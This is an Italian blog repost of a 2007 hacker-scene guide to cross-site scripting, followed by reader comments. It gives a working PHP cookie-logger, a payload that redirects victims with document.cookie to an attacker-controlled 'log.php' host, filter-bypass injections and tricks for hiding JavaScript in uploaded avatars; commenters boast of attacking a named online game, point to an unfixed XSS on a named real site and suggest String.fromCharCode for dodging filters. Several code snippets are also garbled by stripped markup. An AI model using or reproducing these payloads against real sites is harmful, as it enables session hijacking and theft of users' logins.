Guida al Cross Site Scripting by KiNgOfThEwOrLd
For info on msn: kingoftheworld@nasa.gov
Website: Http://www.inj3ct-it.org
Date: 16/03/07

Hacked by me 
Topics:
1. Cos’è un xss?
2. Iniezione di codice
3. Sfruttare un xss
4. Cookie Stealing
5. Trovare un xss
6. Aggirare fix di un xss
7. Consigli per web master
1. Cos’è un xss?
Il cross site scripting (xss) è un attacco che rientra nella categoria “code injection”, ovvero “iniezione di codice”. Spieghiamoci meglio…Cosa si intende per iniezione di codice? è soprattutto, che tipo di codice?? Innanzitutto partiamo col precisare che non esiste una piattaforma vulnerabile ed una non vulnerabile in generale a questo tipo di attacco. L’attacco puo’ essere quindi attuato su un sito web dinamico come lo puo’ essere su uno non dinamico. Detto questo, chiariamo il concetto di “iniezione di codice”…
2. Iniezione di codice
Per iniezione di codice, in generale, si intende l’inserimento di uno script che venga eseguito direttamente nel nostro browser, all’interno del sito a cui sferriamo l’attacco; questa iniezione puo’ essere praticata in vari modi, che in seguito analizzeremo più dettagliatamente. Vediamo ora un esempio di iniezione. Qui sotto è un esempio banale di codice di una pagina html vulnerabile a questo tipo di attacco.
function asd() {
var lol=prompt("Ciao, inserisci il tuo nome");
return asd;
lol2=asd();
document.write("Ciao ",lol2);
Ok, il compito dello script presente in questa pagina è semplice, presenterà un messaggio di benvenuto rivolto al nick che andremo ad inserire nel prompt. Se ad esempio inserissimo nel prompt la parola “clodoveo” il sorgente della pagina che andremo a visualizzare sarebbe questo:
document.write("Ciao ", "clodoveo");
e il risultato sarebbe una pagina in cui compare la scritta “ciao clodoveo”. ok, fin qui tutto normale…ma cosa succederebbe se facessimo assumere alla variabile (in questo caso lol2 ovvero asd) il seguente valore:
alert("Hello World")
Semplice, il risultato sarebbe la comparsa di quella stringa nel sorgente del sito; essendo però la suddetta riconosciuta come uno script di alert, il sito eseguirà lo script e il risultato sarà la comparsa di un’alert con scritto “Hello World” (w la fantasia =P). Bhe, fin qui è tutto molto semplice e, apparentemente anche molto inutile…ma vediamo, cos’altro è possibile combinare sfruttando questa vulnerabilità?
3. Sfruttare un xss
Bella! ihih…se state leggendo qui vuol dire che ormai avete capito bene o male cos’è un xss, ma vi state chiedendo cosa potete farvene…se invece avete iniziato a leggere da qui perchè volete la pratica senza teoria siete semplicemente dei poveri pirla…senza offesa eh! Torniamo a noi…abbiamo visto come sia possibile far comparire un alert in un sito vulnerabile a cross site scripting…bhe, per chi conosce bene il linguaggio javascript questa parte è abbastanza inutile perchè potrà sbizzarrirsi un po’ come vuole, ma per gli altri puo’ essere utile. Prima una breve definizione di javascript: innanzitutto il javascript NON è il java…XD il javascript è un linguaggio di scripting che viene eseguito direttamente dal nostro browser…o meglio, lo script viene inviato dal sito web in questione ed il nostro browser lo esegue (client-side). Ok, ora che sappiamo ciò, vediamo un altro tipo di script possiamo utilizzare in questo attacco.
location.href="www.sito.com"
window.location("www.sito.com")
document.location="www.sito.com"
Ecco 3 esempio di script tramite i quali al caricamento della pagina, subiremo un redirect a “www.sito.com”…fin qui niente…ma pensate se il redirect indirizzasse la vittima ad un cookie grabber…potremmo ottenere i suoi dati d’accesso a quel sito…questo tipo di attacco tramite xss viene chiamato cookie stealing (furto di cookie), ora vedremo come attuarlo…
4. Cookie stealing
Per effettuare questo attacco è necessario sapere che, nel java script, è presente una proprietà (document.cookie), che restituisce i nostri cookie. Ad esempio, inserendo nel sito buggato alert(document.cookie) vedremmo un alert con i nostri cookie di quel sito…Come possiamo sfruttarla per effettuare un attacco cookie stealing? Semplice, ma ci servirà una conoscenza basilare del php…il php è un linguaggio dinamico interpretato; al contrario del javascript, in esso, è il server ad eseguire i comandi e non il nostro browser (server-side). Vediamo ora un esempio di pagina in php con la funzione di loggare i cookie del visitatore.
$filename = "cookie.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Errore: impossibile scrivere il file”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Errore durante la scrittura”;
exit;
}
}
echo “Scrittura effettuata con successo =D”;
fclose($handle);
exit;
}
echo “Niente da scrivere”;
exit;
?> //PS. mi scuso con l’autore dello script se non cito la
fonte ma non ricordo proprio dove l’ho preso :S
Bene, mettendo caso che questo file si chiami log.php redirettando un utente su ‘www.nostrosito.com/log.php?cookie=’+escape(document.cookie) si creerebbe www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito da cui sfruttiamo l’xss.
Si ok…ora sappiamo cos’è un xss e come utilizzarlo per un attacco cookie stealing…ma come si fa a trovare un xss? Scopriamolo insieme
5. Trovare un xss
Dove è possibile trovare un xss? come si fa? Bhe, per cercare un xss bisogna innanzitutto guardare il sorgente della pagina…quindi bisogna avere almeno una conoscenza base dei linguaggi di programmazione web; partiamo con le xss da form…
Quante volte vi è capitato di vedere un sito con un motore di ricerca interno? Tante suppongo no? Bene, ma vi siete mai chiesti come funziona questo motore di ricerca? Se ad esempio noi cerchiamo la parola ‘ciao’ e, al termine della ricerca visualizziamo la scritta ‘Nessun risultato per la parola ciao’ non ci viene in mente qualcosa? già, e se la pagina dovesse scrivere ‘nessun risultato per la parola alert(”ciao”)’? esatto, lo script verrebbe eseguito e noi visualizzeremmo l’alert (lol) Ma se un sito non ha il motore di ricerca? Guardiamo le seguenti righe di codice php…
$a = $_GET[’commento’];
echo “$a”;
Mettiamo che rappresentino un ipotetico guestbook dove l’utente è invitato ad inserire un commento…se l’utente scrivesse ‘Hello world’ l’url sarebbe ‘www.sito.com/pagina.php?commento=Hello%20World’ e, nella pagina, verrebbe visualizzata la scritta ‘Hello World’. al solito…se il commento fosse alert(”Hello World”)? ci siamo capiti…Altro esempio…Su un sito visualizziamo un messaggio d’errore…diamo uno sguardo all’url; se fosse www.sito.com/pagina.estensione?variabile=errore potremmo benissimo farlo diventare www.sito.com/pagina.estenzione?variabile=alert(”Hello World”) . Oppure se in un form di registrazione vedessimo che, una volta inseriti nick e password, l’url del sito diventasse www.sito.com/pagina.estensione?variabile=nostronick&nostrapwd bhe, il discorso è sempre lo stesso ok, fin qui ci siamo…vediamo adesso qualche esempio un po’ diverso…prendiamo un forum…ci registriamo e abbiamo il nostro piccolo pannello di controllo per la gestione del nostro profilo…possiamo ad esempio caricare un avatar nel sito dal nostro pc…bello! e se il nostro avatar contenesse del javascript? eheh…proviamo; apriamo un editor di testo, inseriamo del javascript e salviamo con estensione immagine (.gif .jpg .png fate un po’ voi…XD) c’è una buona probabilità che andando a visualizzare la nostra immagine venga eseguito il nostro codice javascript. ovviamente questo vale anche per la firma o per qualsiasi sito che consenta l’upload di files. Abbiamo visto diversi esempi, ma non siate limitati a questi, quando cercate un xss usate un po’ di immaginazione e guardate sempre attentamente il sorgente perchè potrebbe essere ovunque, questi sono solo gli esempi più comuni! Ma…starete pensando che non ci vuole un genio a fixare questi bug…ma vediamo un po’ quali metodi ci sono e come possiamo aggirarli…
6. Aggirare il fix di un xss
Anche qui ci vuole un po’ di fantasia…uno dei metodi utilizzati, forse perchè molto semplice e abbastanza efficace in quanto puo’ scoraggiare facilmente un attacker meno perseverante, è quello di inserire tag html che comprendano la parola inserita…se ad esempio in un motore di ricerca venisse usato un input rappresentante la parola da noi cercata essa farebbe parte di questo codice e, anche inserendo lo script, non verrebbe eseguito. Ad esempio una pagina così strutturata:
Dove “tuaparola” rappresenta la parola che abbiamo cercato, vedremo che pur inserendo del javascript esso farà comunque parte della value…mhmh…e se noi chiudessimo il tag in modo da portare il nostro testo fuori dalla value? esempio:
"/>alert("Hello World")
Così il nostro script verrà eseguito…ma cerchiamo di capire perchè. il codice della ricerca termina con value=” ed aspetta l’inserimento della nostra parola per diventare value=”nostraparola”…ok, noi mettiamo ” all’inizio in modo da far chiudere il value trasformandolo in value=”"…ok… e il ‘/>’ a che serve? Analizziamo meglio il codice…viene aperto il tag ha la funzione di chiudere
7. Consigli per i web master
Per evitare di essere affetti da xss è sconsigliato adottare metodi di protezione come quello riportanto in precedenza…è consigliabile applicare restrizioni sui caratteri speciali (come ad esempio “<” o “>”) che possano costituire codice (info su www.php.net/htmlentities) o fare in modo che essi vengano sostituiti con dei codici da noi stabiliti (http://it.wikipedia.org/wiki/Espressione_regolare). That’s All
Greetz to:
Digital Fuckers Team - http://www.digitalfuckers.altervista.org
Hawk Force - http://www.hawkforce.altervista.org
DBSecurity - http://www.dbsecurity.altervista.org
Wikipedia - http://www.wikipedia.org
Google - http://www.google.com
Notepad++ - http://notepad-plus.sourceforge.net
Special Guest:
“Hello World”
Copyright:
La seguente guida è stata scritta da KiNgOfThEwOrLd a scopo esclusivamente informativo. L’autore ne autorizza la diffusione e la pubblicazione a patto che venga inserita la fonte e non ne venga alterato il contenuto.
7 Responses
Gennaio 27th, 2008 at 16:18
1ottimo metodo. Ho usato l’XSS su un gdr online (preferisco non dichiararne il nome, ovviamente) e in pratica l’ho smontato
hihi ma potevo fare di peggio…
Gennaio 27th, 2008 at 17:26
2dici Extremelot?
Gennaio 27th, 2008 at 18:20
3uhmmm >_> come hai fatto ad indovinare?
Gennaio 27th, 2008 at 19:59
4Famosissima
Gennaio 29th, 2008 at 18:23
5http://www.juventus.it
nel search inserire “>alert(’_Agokill_ r0×4′)
xss trovata nnt cookie stealing
ormai le xss le piazzo ovunque
Gennaio 29th, 2008 at 18:23
6nn mi fa inserire il codice js ….ci sara un sentinel…
Marzo 3rd, 2008 at 19:43
7oppure un semplice filtro che strippa i tags? ^^
prova con la funzione String.fromCharCode(), gli dai in pasto una sequenza di decimali e te li converte in ASCII… così ti toglie lcuni problemi di quoting
RSS feed for comments on this post · TrackBack URI
Leave a reply
Pagine
Categorie
Archivi
Articoli recenti
Feed
Rimani aggiornato e ricevi le ultime notizie in tempo reale, gratuitamente!
Licenza blog
Il materiale di questo sito è pubblicato con una licenza Creative Commons di tipo CC BY-NC-SA 2.5. Vi invito a leggere questa pagina.
Fai una donazione Paypal
Mi trovi anche su
Blogroll
Twitter Updates
Tag
aggiornamento Apple Blog cellulari compiz contest Email Firefox flickr foto Gmail Google guida Guide e Tutorials hardy Il meglio della settimana immagini Immagini strane KDE4 Leopard Linux e Opensource Mac Musica Netsons Notizie Novità p2p Personale plugin scuola Stupidaggini Telefonia torrent Twitter Ubuntu vacanza Varie ed Eventuali video web 2.0 Web e Web 2.0 Web e Web 2.0 Windows Wordpress wordpress 2.7 YoutubeIl blog di Luca Marchi is proudly powered by WordPress - BloggingPro theme by: Design Disease
